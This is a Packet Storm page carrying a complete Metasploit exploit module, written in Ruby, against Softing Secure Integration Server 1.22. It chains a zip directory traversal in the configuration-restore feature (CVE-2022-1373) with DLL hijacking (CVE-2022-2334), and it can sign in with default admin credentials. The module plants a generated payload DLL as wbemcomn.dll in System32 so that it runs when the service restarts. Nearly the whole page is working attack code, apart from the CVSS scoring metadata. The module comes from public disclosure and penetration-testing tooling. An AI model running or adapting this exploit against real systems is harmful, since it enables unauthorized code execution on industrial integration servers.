Lucene search

K
packetstormMr_me, Chris Anastasio, Imran E. Dawoodjee, metasploit.comPACKETSTORM:179646
HistoryJul 22, 2024 - 12:00 a.m.

Softing Secure Integration Server 1.22 Remote Code Execution

2024-07-2200:00:00
mr_me, Chris Anastasio, Imran E. Dawoodjee, metasploit.com
packetstormsecurity.com
80
metasploit module
remote code execution
softing secure integration server
cve-2022-1373
cve-2022-2334
directory traversal
dll hijacking
code execution
authentication
username
password
custom dll
arp spoofing
x64
windows

CVSS3

7.2

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

AI Score

7.4

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'zip'  
require 'metasploit/framework/login_scanner/softing_sis'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Softing Secure Integration Server v1.22 Remote Code Execution',  
'Description' => %q{  
This module chains two vulnerabilities (CVE-2022-1373 and CVE-2022-2334) to achieve authenticated remote code execution against Softing Secure Integration Server v1.22.  
  
In CVE-2022-1373, the restore configuration feature is vulnerable to a directory traversal vulnerablity when processing zip files. When using the "restore configuration" feature to upload a zip file containing a path traversal file which is a dll called ..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbem\wbemcomn.dll. This causes the file C:\Windows\System32\wbem\wbemcomn.dll to be created and executed upon touching the disk.  
  
In CVE-2022-2334, the planted wbemcomn.dll is used in a DLL hijacking attack when Softing Secure Integration Server restarts upon restoring configuration, which allows us to execute arbitrary code on the target system.  
  
The chain demonstrated in Pwn2Own used a signature instead of a password. The signature was acquired by running an ARP spoofing attack against the local network where the Softing SIS server was located. A username is also required for signature authentication.  
  
A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one. Refer to the module documentation for more details.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Chris Anastasio (muffin) of Incite Team', # discovery  
'Steven Seeley (mr_me) of Incite Team', # discovery  
'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>', # msf module  
],  
'References' => [  
['CVE', '2022-1373'],  
['CVE', '2022-2334'],  
['ZDI', '22-1154'],  
['ZDI', '22-1156'],  
['URL', 'https://industrial.softing.com/fileadmin/psirt/downloads/syt-2022-5.html'],  
['URL', 'https://ide0x90.github.io/softing-sis-122-rce/']  
],  
'DefaultOptions' => {  
'RPORT' => 8099,  
'SSL' => false,  
'EXITFUNC' => 'thread',  
'WfsDelay' => 300  
},  
'Platform' => 'win',  
# the software itself only supports x64, see  
# https://industrial.softing.com/products/opc-opc-ua-software-platform/integration-platform/secure-integration-server.html  
'Arch' => [ARCH_X64],  
'Targets' => [  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2022-07-27',  
'Privileged' => true,  
'Compat' => {  
'Meterpreter' => {  
'Commands' => %w[  
stdapi_fs_delete_file  
]  
}  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('SIGNATURE', [false, 'Use a username/signature pair instead of username/password pair to authenticate']),  
OptString.new('USERNAME', [false, 'The username to specify for authentication.', 'admin']),  
OptString.new('PASSWORD', [false, 'The password to specify for authentication', 'admin']),  
OptString.new('DLLPATH', [false, 'Custom compiled DLL to use'])  
]  
)  
  
self.needs_cleanup = true  
end  
  
# this will be updated with the signature from "check"  
@signature = nil  
  
# create a checker instance to reuse code from the Softing SIS login bruteforce module  
def checker_instance  
Metasploit::Framework::LoginScanner::SoftingSIS.new(  
configure_http_login_scanner(  
host: datastore['RHOSTS'],  
port: datastore['RPORT'],  
connection_timeout: 5  
)  
).dup  
end  
  
# check if the generated/provided signature is valid for the specified user  
def signature_check(user, signature)  
send_request_cgi({  
'method' => 'GET',  
'uri' => "/runtime/core/user/#{user}/authentication",  
'vars_get' => {  
'User' => user,  
'Signature' => signature  
}  
})  
end  
  
def check  
# check the Softing SIS version  
softing_version_res = checker_instance.check_setup  
unless softing_version_res  
return CheckCode::Unknown  
end  
  
softing_version = Rex::Version.new(softing_version_res)  
print_status("#{peer} - Found Softing Secure Integration Server #{softing_version}")  
  
# the vulnerabilities are to be fixed in version 1.30 according to the Softing advisory  
# so we will not continue if the version is not vulnerable  
unless softing_version < Rex::Version.new('1.30')  
return CheckCode::Safe  
end  
  
# if the operator provides a signature, then use that instead of the username and password  
if datastore['SIGNATURE']  
print_status("#{peer} - Authenticating as user #{datastore['USERNAME']} with signature #{datastore['SIGNATURE']}...")  
# send a GET request to /runtime/core/user/<username>/authentication  
signature_check_res = signature_check(datastore['USERNAME'], datastore['SIGNATURE'])  
  
# if we cannot connect at this point, we only know that the version is < 1.30  
# the system "appears" to be vulnerable  
unless signature_check_res  
print_error("#{peer} - Connection failed!")  
end  
  
# if the signature is correct, 200 OK is returned  
if signature_check_res.code == 200  
print_good("#{peer} - Signature #{datastore['SIGNATURE']} is valid for user #{datastore['USERNAME']}")  
@signature = datastore['SIGNATURE']  
else  
print_error("#{peer} - Signature #{datastore['SIGNATURE']} is invalid for user #{datastore['USERNAME']}!")  
end  
# login with username and password  
else  
# get the authentication token  
auth_token = checker_instance.get_auth_token(datastore['USERNAME'])  
# generate the signature  
@signature = checker_instance.generate_signature(auth_token[:proof], datastore['USERNAME'], datastore['PASSWORD'])  
# check the generated signatures' validity  
signature_check_res = signature_check(datastore['USERNAME'], @signature)  
# if we cannot connect, then the system "appears" to be vulnerable  
unless signature_check_res  
print_error("#{peer} - Connection failed!")  
end  
  
# if the signature is correct, 200 OK is returned  
if signature_check_res.code == 200  
print_good("#{peer} - Valid credentials provided")  
else  
print_error("#{peer} - Invalid credentials!")  
end  
end  
  
# if the version is less than 1.30 it's supposedly vulnerable  
# but there is no way to confirm vulnerability existence without actually exploiting  
# so instead of "Vulnerable", return "Appears"  
CheckCode::Appears  
end  
  
def exploit  
# did the operator specify a custom DLL? If not...  
if datastore['DLLPATH']  
# otherwise, just use their provided DLL and assume they compiled everything correctly  
# there is no way to check if it's compiled correctly anyway  
dll_path = datastore['DLLPATH']  
else  
# have MSF create the malicious DLL  
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-2334')  
datastore['EXE::Path'] = path  
datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll')  
  
print_status('Generating payload DLL...')  
dll = generate_payload_dll  
dll_name = 'wbemcomn.dll'  
dll_path = store_file(dll, dll_name)  
print_status("Created #{dll_path}")  
end  
  
# backup the Softing SIS configuration  
print_status("#{peer} - Saving configuration...")  
get_config_zip_res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/runtime/core/config-download',  
'vars_get' => {  
'User' => datastore['USERNAME'],  
'Signature' => @signature  
}  
})  
  
# end if we cannot get the configuration for some reason  
unless get_config_zip_res  
fail_with Failure::Unreachable, "#{peer} - Could not obtain configuration"  
end  
  
# status code 200 is the expected response to getting the configuration ZIP  
unless get_config_zip_res.code == 200  
# for verbosity, save the JSON response  
get_config_zip_res_json = get_config_zip_res.get_json_document  
vprint_error("#{peer} - #{get_config_zip_res_json}")  
fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{get_config_zip_res.code}, could not obtain configuration"  
end  
  
# if successful, the body cnotains the configuration ZIP  
config_zip = get_config_zip_res.body  
  
# config_download.zip is the name of the configuration ZIP when downloading from the browser  
# append a hash based on the peer address to prevent overwriting the config file if there are multiple targets  
config_zip_name = "config_download_#{Digest::MD5.hexdigest(peer)}.zip"  
  
# store the config zip file  
config_zip_path = store_file(config_zip, config_zip_name)  
print_status("Saved configuration to #{config_zip_path}")  
  
# insert the malicious DLL  
Zip::File.open(config_zip_path, Zip::File::CREATE) do |zipfile|  
zipfile.add('..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\wbem\\wbemcomn.dll', dll_path)  
end  
  
# restore the configuration  
restore_config_res = send_request_cgi({  
'method' => 'PUT',  
'uri' => '/runtime/core/config-restore',  
'cookie' => "systemLang=en-US; lang=en; User=#{datastore['USERNAME']}; Signature=#{@signature}",  
'vars_get' => {  
'User' => datastore['USERNAME'],  
'Signature' => @signature  
},  
'data' => File.read(config_zip_path)  
})  
  
# no response  
unless restore_config_res  
fail_with Failure::Unreachable, "#{peer} - Could not restore configuration!"  
end  
  
# bad response  
unless restore_config_res.code == 200  
# for verbosity, show the JSON response  
restore_config_res_json = restore_config_res.get_json_document  
vprint_error("#{peer} - #{restore_config_res_json}")  
fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{restore_config_res.code}, could not restore configuration!"  
end  
end  
  
# clean up the planted DLL if the session is meterpreter  
def on_new_session(session)  
super  
  
unless file_dropper_delete_file(session, 'C:\\Windows\\System32\\wbem\\wbemcomn.dll')  
# if the exploit was successful, register the malicious wbemcomn.dll file for cleanup  
register_file_for_cleanup('C:\\Windows\\System32\\wbem\\wbemcomn.dll')  
end  
end  
  
# Store the file in the MSF local directory (/root/.msf4/local/) so it can be used when creating the ZIP file  
# literal copypasta from exploits/windows/fileformat/cve_2017_8464_lnk_rce  
def store_file(data, filename)  
if !::File.directory?(Msf::Config.local_directory)  
FileUtils.mkdir_p(Msf::Config.local_directory)  
end  
  
if filename && !filename.empty?  
fname, ext = filename.split('.')  
else  
fname = "local_#{Time.now.utc.to_i}"  
end  
  
fname = ::File.split(fname).last  
  
fname.gsub!(/[^a-z0-9._-]+/i, '')  
fname << ".#{ext}"  
  
path = File.join("#{Msf::Config.local_directory}/", fname)  
full_path = ::File.expand_path(path)  
File.open(full_path, 'wb') { |fd| fd.write(data) }  
  
full_path.dup  
end  
end  
`

CVSS3

7.2

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

AI Score

7.4

Confidence

Low